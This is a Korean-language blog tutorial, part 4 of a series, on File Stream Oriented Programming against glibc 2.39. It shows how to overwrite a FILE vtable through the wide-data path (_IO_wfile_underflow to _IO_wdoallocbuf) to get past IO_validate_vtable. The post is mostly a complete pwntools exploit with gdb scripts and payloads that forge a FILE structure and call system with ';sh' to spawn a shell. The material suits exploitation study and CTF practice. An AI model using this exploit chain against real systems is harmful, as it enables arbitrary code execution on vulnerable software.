Home
System Hacking
🎁

FSOP(File Stream Oriented Programming) 4편 - FSOP vtable Overwrite Exploit

Type
Vuln
생성 일시
2025/03/26 07:10
종류
FSOP
libc

Remind

환경

일단 glibc 2.39 버전의 source code를 분석할 것이기 때문에 아래의 사이트에서 소스코드를 다운받았다.
glibc 분석을 진행하는 것이 처음이라 실수가 많을 수 있으며, 엉뚱한 이야기가 있을 수도 있습니다. 그 부분을 감안해서 너그러이 봐주시면 감사하겠습니다.

Example code(코드 변경)

//gcc -o prob prob.c #include <stdio.h> int main(){ printf("stderr : %p\n", stderr); read(0, stderr, 0x200);//sizeof(struct locked_FILE) = 0x1d8 fclose(stderr); return 1; }
C
복사

ASM

gef➤ disas main Dump of assembler code for function main: 0x0000000000001189 <+0>: endbr64 0x000000000000118d <+4>: push rbp 0x000000000000118e <+5>: mov rbp,rsp 0x0000000000001191 <+8>: mov rax,QWORD PTR [rip+0x2e88] # 0x4020 <stderr@GLIBC_2.2.5> 0x0000000000001198 <+15>: mov rsi,rax 0x000000000000119b <+18>: lea rax,[rip+0xe62] # 0x2004 0x00000000000011a2 <+25>: mov rdi,rax 0x00000000000011a5 <+28>: mov eax,0x0 0x00000000000011aa <+33>: call 0x1080 <printf@plt> 0x00000000000011af <+38>: mov rax,QWORD PTR [rip+0x2e6a] # 0x4020 <stderr@GLIBC_2.2.5> 0x00000000000011b6 <+45>: mov edx,0x200 0x00000000000011bb <+50>: mov rsi,rax 0x00000000000011be <+53>: mov edi,0x0 0x00000000000011c3 <+58>: mov eax,0x0 0x00000000000011c8 <+63>: call 0x1090 <read@plt> 0x00000000000011cd <+68>: mov rax,QWORD PTR [rip+0x2e4c] # 0x4020 <stderr@GLIBC_2.2.5> 0x00000000000011d4 <+75>: mov rdi,rax 0x00000000000011d7 <+78>: call 0x1070 <fclose@plt> 0x00000000000011dc <+83>: mov eax,0x1 0x00000000000011e1 <+88>: pop rbp 0x00000000000011e2 <+89>: ret End of assembler dump.
Assembly
복사

vtable overwrite

자 우리는 fclose를 분석하면서 fopen 통해서 return 받는 fdvtable을 참조해서 함수호출하는 것을 분석했다. 이를 역으로 이용해 vtableoverwrite하여 원하는 함수를 실행 시켜보자

IO_validate_vtable bypass

일단 IO_validate_vtable 함수에서 overwritevtable유효한 영역인지 확인한다.
vtable의 크기만큼만 호출할 수 있다.
→ 그럼 vtable에서 호출하는 함수중에 위험한(?) 보호 매커니즘이 없는 함수를 호출하도록 변경한다면, IO_validate_vtable 함수를 우회해 vtable 내 함수를 호출하고 해당 함수다른 함수호출해, 2중으로 호출(참조?)하도록 만들면 된다.

JMP2

일단 JMP2를 간단하게 다시 보면 아래와 같이 IO_validate_vtable을 호출한다.
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) #define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS))) #define _IO_JUMPS_FILE_plus(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
C
복사
자 그럼 JMP2와 같은 함수를 호출 할 수 있도록 해주는 _IO_CAST_FIELD_ACCESS 매크로를 사용하면서 IO_validate_vtable를 호출하지 않는 매크로를 보면 3개가 있고 그중 _IO_WIDE_JUMPS가 존재한다.
역으로 이제 쭉 따라가보자

_IO_WIDE_JUMPS

#define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
C
복사

_IO_WIDE_JUMPS_FUNC

_IO_WIDE_JUMPS_FUNC 매크로가 존재하고 해당 매크로를 호출하는 매크로를 찾아보자.
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
C
복사

WJUMP0~3

WJUMP0~3까지의 매크로가 존재한다.
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS) #define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) #define WJUMP2(FUNC, THIS, X1, X2) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) #define WJUMP3(FUNC, THIS, X1,X2,X3) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)
C
복사
이제 해당 매크로를 사용하는 부분을 다시 찾아보면 6개 정도가 나온다.
여기서 필요한 부분만 보자.
다른 매크로들은 정의만 하고 호출을 하지 않거나, 초기화 과정이 존재해서 Exploit에 활용하기 힘들다.

_IO_WDOALLOCATE

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
C
복사
_IO_wdoallocbuf 해당 함수를 호출하면 원하는 함수로 이동할 수 있다.

_IO_wdoallocbuf

void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) return; _IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0); } libc_hidden_def (_IO_wdoallocbuf)
C
복사
함수가 좀 길다. 일단보기 편하게 다 지우고 보면 노란줄 친 부분만 실행되면 된다.

_IO_wfile_underflow

wint_t _IO_wfile_underflow (FILE *fp) { ... if (fp->_wide_data->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_wide_data->_IO_save_base != NULL) { free (fp->_wide_data->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_wdoallocbuf (fp); } /* FIXME This can/should be moved to genops ?? */ ...
C
복사
일단 해당 함수로 점프할 수 있도록 분석을 진행해보자

GDB로 asm 얻기

gdb에서 아래의 gdb script를 실행해서 일단 _IO_file_jumps 영역에 존재하는 함수들의 asm을 가져온다.
set $start = (unsigned long)&_IO_file_jumps set $end = $start+0x92f set $offset = 0 define dump_vtable while ($start < $end) x/gx ($start+$offset) set $ptr = *(unsigned long*)($start+$offset) if ($ptr != 0) printf "function pointer at 0x%lx(+0x%lx)\\n", $ptr, $offset disas $ptr printf "\\n" end set $offset += 8 end end set logging file disas_io_file_jumps.txt set logging redirect on set logging on dump_vtable set logging off
Bash
복사
disas_io_file_jumps.txt 파일에 저장되어 있으니 함수_IO_wfile_underflow 함수 이름을 검색해보면 아래랑 같이 나온다.

vtable overwrite

기존 vtable에서 +0x218 만큼 떨어져있는 걸 볼 수있다.
0x738839402248 <_IO_wfile_jumps+32>: 0x000073883928c5c0 function pointer at 0x73883928c5c0(+0x218) Dump of assembler code for function __GI__IO_wfile_underflow: Address range 0x73883928c5c0 to 0x73883928cc61:
C
복사
GDBfclose 이후를 잡고 vtable을 참조하는 순간을 잡기 위해 breakpoint를 걸어준다.
c를 눌러 실행한 뒤 실행하면서 asm을 좀 보면 r13+0x88로 함수를 호출한다.
r13_IO_file_jumps의 주소가 담겨있고 최종적으로 우리가 호출해야하는 함수는 _IO_file_jumps+0x218 위치다.
r13+0x88을 해서 호출함으로 덮어야할 vtable을 구하면 아래와 같다.
libc.base + libc.symbols['_IO_file_jumps'] + 0x218 - 0x88
Python
복사

_IO_wfile_underflow 호출

payload

아래의 코드로 실제로 실행되는 확인해보자.
#!/usr/bin/env python3.12 ''' author: JangJongMin time: 2025-03-26 16:56:32 ''' from pwn import * filename = "prob_patched" libcname = "/home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1".strip() port = 1337 elf = context.binary = ELF(filename) context.terminal = ['tmux', 'neww'] if libcname: libc = ELF(libcname) gs = ''' set debug-file-directory /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug set directories /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39 set $pie_base=$_base("prob_patched") b *main+78 c b IO_validate_vtable ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript = gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path) def log(str_, hex_): success(f"{str_} : {hex(hex_)}") def list_insert(index, data, list_): return list_[:index] + p64(data) + list_[index+0x8:] p = start() s = p.send sf = p.sendafter sl = p.sendline slf = p.sendlineafter r = p.recv ru = p.recvuntil rl = p.recvline ru("stderr : ") stderr = int(rl().strip(), base=16) libc.base = stderr - libc.symbols['_IO_2_1_stderr_'] system = libc.base + libc.symbols['system'] log("stderr_address", stderr) log("libc.base", libc.base) context.arch = 'amd64' fsop = FileStructure() fsop.flags = 0x00000000fbad2404 fsop.chain = stderr fsop._lock = libc.base + libc.bss() + 0x1000 fsop.vtable = libc.base + libc.symbols['_IO_file_jumps'] + 0x218 - 0x88 fsop = bytes(fsop) s(fsop) p.interactive()
Python
복사
gdb로 실행해보면 아래처럼 된다.
si로 함수 내부로 진입해보면 _IO_wfile_jumps로 잘 이동한 것을 볼 수 있다.
이제 _IO_wfile_underflow 코드를 분석하면서 _IO_wdoallocbuf 함수를 호출할 수 있도록 만들어주자.

_IO_wfile_underflow 분석

_IO_EOF_SEENoff되어 있어야한다.
if (fp->_flags & _IO_EOF_SEEN) return WEOF; #define _IO_EOF_SEEN 0x0010
C
복사
_IO_NO_READS flag도 켜저있으면 안된다.
if (__glibc_unlikely (fp->_flags & _IO_NO_READS)) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } #define _IO_NO_READS 0x0004 /* Reading not allowed. */
C
복사
fp->_wide_data->_IO_read_ptrfp->_wide_data->_IO_read_end0을 넣어줘야 return 하지 않는다.
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) return *fp->_wide_data->_IO_read_ptr;
C
복사
해당 코드는 실행을 안해야함으로 fp->_IO_read_ptr1 fp->_IO_read_end 0으로 설정한다.
if (fp->_IO_read_ptr < fp->_IO_read_end) ...
C
복사
해당 코드도 실행되면 머리 아프기 때문에 fp->_IO_buf_base1을 넣어준다.
자 아래의 코드는 실행이 되어야 _IO_wdoallocbuf가 호출된다.
if (fp->_wide_data->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_wide_data->_IO_save_base != NULL) { free (fp->_wide_data->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_wdoallocbuf (fp); }
C
복사
아래의 조건을 만족하도록 해주면 된다.
fp->_wide_data->_IO_buf_base == NULL && fp->_wide_data->_IO_save_base != NULL
C
복사

__GI__IO_wdoallocbuf 실행

이제 GDB__GI__IO_wdoallocbuf가 실행되는 시점을 잡아보자.

payload

#!/usr/bin/env python3.12 ''' author: JangJongMin time: 2025-03-26 16:56:32 ''' from pwn import * filename = "prob_patched" libcname = "/home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1".strip() port = 1337 elf = context.binary = ELF(filename) context.terminal = ['tmux', 'neww'] if libcname: libc = ELF(libcname) gs = ''' set debug-file-directory /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug set directories /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39 set $pie_base=$_base("prob_patched") b *main+78 c b __GI__IO_wdoallocbuf ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript = gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path) def log(str_, hex_): success(f"{str_} : {hex(hex_)}") def list_insert(index, data, list_): return list_[:index] + p64(data) + list_[index+0x8:] p = start() s = p.send sf = p.sendafter sl = p.sendline slf = p.sendlineafter r = p.recv ru = p.recvuntil rl = p.recvline ru("stderr : ") stderr = int(rl().strip(), base=16) libc.base = stderr - libc.symbols['_IO_2_1_stderr_'] system = libc.base + libc.symbols['system'] log("stderr_address", stderr) log("libc.base", libc.base) context.arch = 'amd64' fsop = FileStructure() fsop.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02) fsop.chain = stderr fsop._lock = libc.base + libc.bss() + 0x1000 fsop.vtable = libc.base + libc.symbols['_IO_file_jumps'] + 0x218 - 0x88 fsop._wide_data = libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 # 0xe0 -> FSOP size fsop._IO_read_ptr = 1 fsop._IO_read_end = 0 fsop._IO_buf_base = 1 fsop._IO_save_base = 0 fsop = bytes(fsop) # fp->_wide_data->_IO_buf_base == NULL && fp->_wide_data->_IO_save_base != NULL fake_wide = b"" fake_wide += p64(0) #_IO_read_ptr; /* Current read pointer */ fake_wide += p64(0) #_IO_read_end; /* End of get area. */ fake_wide += p64(0) #_IO_read_base; /* Start of putback+get area. */ fake_wide += p64(0) #_IO_write_base; /* Start of put area. */ fake_wide += p64(0) #_IO_write_ptr; /* Current put pointer. */ fake_wide += p64(0) #_IO_write_end; /* End of put area. */ fake_wide += p64(0) #_IO_buf_base; /* Start of reserve area. */ fake_wide += p64(0) #_IO_buf_end; /* End of reserve area. */ fake_wide += p64(0) #_IO_save_base; /* Pointer to start of non-current get area. */ s(fsop+fake_wide) p.interactive()
Python
복사
일단 _IO_wdoallocbuf까지는 호출했다.

_IO_WDOALLOCATE 호출

여기서도 return 되지 않도록 똑같이 코드를 분석하면서 _IO_WDOALLOCATE가 호출되도록 만들어주자.
이제 진짜 끝이다. 코드가 짧으니 바로 한번에 설명해보면
fp->_wide_data->_IO_buf_base0, fp->_flags & _IO_UNBUFFEREDoff 되어 있어야 한다.

_IO_wdoallocbuf 분석

void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) return; _IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0); } libc_hidden_def (_IO_wdoallocbuf)
C
복사
_IO_WDOALLOCATE 실행시점까지 어셈을보면 아래처럼 되어 있다.
disas _IO_wdoallocbuf Dump of assembler code for function __GI__IO_wdoallocbuf: => 0x000071410428ae70 <+0>: endbr64 0x000071410428ae74 <+4>: mov rax,QWORD PTR [rdi+0xa0] 0x000071410428ae7b <+11>: cmp QWORD PTR [rax+0x30],0x0 0x000071410428ae80 <+16>: je 0x71410428ae88 <__GI__IO_wdoallocbuf+24> 0x000071410428ae82 <+18>: ret 0x000071410428ae83 <+19>: nop DWORD PTR [rax+rax*1+0x0] 0x000071410428ae88 <+24>: push rbp 0x000071410428ae89 <+25>: mov rbp,rsp 0x000071410428ae8c <+28>: push r13 0x000071410428ae8e <+30>: push r12 0x000071410428ae90 <+32>: push rbx 0x000071410428ae91 <+33>: mov rbx,rdi 0x000071410428ae94 <+36>: sub rsp,0x8 0x000071410428ae98 <+40>: test BYTE PTR [rdi],0x2 0x000071410428ae9b <+43>: jne 0x71410428af08 <__GI__IO_wdoallocbuf+152> 0x000071410428ae9d <+45>: mov rax,QWORD PTR [rax+0xe0] 0x000071410428aea4 <+52>: call QWORD PTR [rax+0x68]
C
복사
위에 코드에서 rax에는 _wide_data가 들어있다.
1.
mov rax,QWORD PTR [rax+0xe0]
_wide_data+0xe0 위치에 메모리 주소가 들어가 있어야 한다.
2.
call QWORD PTR [rax+0x68]
들어가 있는 메모리 주소를 참조하여 +0x68을 한다.
자 그럼 _wida_data+0xe0 위치에 pointer를 쓰고, pointer에는 system 함수를 가지고 있는 pointer를 써준다.
0xe0_wide_data가 가지고 있는 주소고 0x48은 앞에 fake_wide에서 필요한 데이터들 offset만큼 더한 뒤 system 함수의 주소를 가지고 있는(0x48)에 접근할 수 있도록 -0x68을 해준다.
-0x68을 하는 이유는 [rax+0x68]을 참조하기 때문에 빼준다.

payload

fake_wide = b"" fake_wide += p64(0) #_IO_read_ptr; /* Current read pointer */ fake_wide += p64(0) #_IO_read_end; /* End of get area. */ fake_wide += p64(0) #_IO_read_base; /* Start of putback+get area. */ fake_wide += p64(0) #_IO_write_base; /* Start of put area. */ fake_wide += p64(0) #_IO_write_ptr; /* Current put pointer. */ fake_wide += p64(0) #_IO_write_end; /* End of put area. */ fake_wide += p64(0) #_IO_buf_base; /* Start of reserve area. */ fake_wide += p64(0) #_IO_buf_end; /* End of reserve area. */ fake_wide += p64(0) #_IO_save_base; /* Pointer to start of non-current get area. */ fake_wide += p64(system) #libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48 fake_wide += b"\x00" * (0xe0 - len(fake_wide)) fake_wide += p64(libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48 - 0x68) #vtable
Python
복사

system 호출 및 $rdi 세팅

자 이제 system을 호출할 수 있는데 $rdi 즉 첫 인자를 보면 fp가 들어간다.
*fpflags를 접근하니 flagsshell의 특성을 이용하여 ;sh를 써준다.
_IO_WDOALLOCATE (fp)
C
복사
아래의 코드를 보면 ;sh를 넣는 법을 이해할 수 있다.
fsop.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02) fsop.flags = fsop.flags | 1 | int.from_bytes(b";sh", 'little')<<(4*8)
Python
복사

Exploit Code

#!/usr/bin/env python3.12 ''' author: JangJongMin time: 2025-03-26 16:56:32 ''' from pwn import * filename = "prob_patched" libcname = "/home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1".strip() port = 1337 elf = context.binary = ELF(filename) context.terminal = ['tmux', 'neww'] if libcname: libc = ELF(libcname) gs = ''' set debug-file-directory /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug set directories /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39 set $pie_base=$_base("prob_patched") c ''' def start(): if args.GDB: return gdb.debug(elf.path, gdbscript = gs) elif args.REMOTE: return remote(host, port) else: return process(elf.path) def log(str_, hex_): success(f"{str_} : {hex(hex_)}") def list_insert(index, data, list_): return list_[:index] + p64(data) + list_[index+0x8:] p = start() s = p.send sf = p.sendafter sl = p.sendline slf = p.sendlineafter r = p.recv ru = p.recvuntil rl = p.recvline ru("stderr : ") stderr = int(rl().strip(), base=16) libc.base = stderr - libc.symbols['_IO_2_1_stderr_'] system = libc.base + libc.symbols['system'] log("stderr_address", stderr) log("libc.base", libc.base) context.arch = 'amd64' fsop = FileStructure() fsop.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02) fsop.flags = fsop.flags | 1 | int.from_bytes(b";sh", 'little')<<(4*8) fsop.chain = stderr fsop._lock = libc.base + libc.bss() + 0x1000 fsop.vtable = libc.base + libc.symbols['_IO_file_jumps'] + 0x218 - 0x88 fsop._wide_data = libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 # 0xe0 -> FSOP size fsop._IO_buf_base = 1 fsop._IO_save_base = 0 fsop = bytes(fsop) # fp->_wide_data->_IO_buf_base == NULL && fp->_wide_data->_IO_save_base != NULL fake_wide = b"" fake_wide += p64(0) #_IO_read_ptr; /* Current read pointer */ fake_wide += p64(0) #_IO_read_end; /* End of get area. */ fake_wide += p64(0) #_IO_read_base; /* Start of putback+get area. */ fake_wide += p64(0) #_IO_write_base; /* Start of put area. */ fake_wide += p64(0) #_IO_write_ptr; /* Current put pointer. */ fake_wide += p64(0) #_IO_write_end; /* End of put area. */ fake_wide += p64(0) #_IO_buf_base; /* Start of reserve area. */ fake_wide += p64(0) #_IO_buf_end; /* End of reserve area. */ fake_wide += p64(0) #_IO_save_base; /* Pointer to start of non-current get area. */ fake_wide += p64(system) #libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48 fake_wide += b"\x00" * (0xe0 - len(fake_wide)) fake_wide += p64(libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48 - 0x68) #vtable print(hex(len(fsop+fake_wide))) s(fsop+fake_wide) p.interactive()
Python
복사
수고하셨습니다.

이전글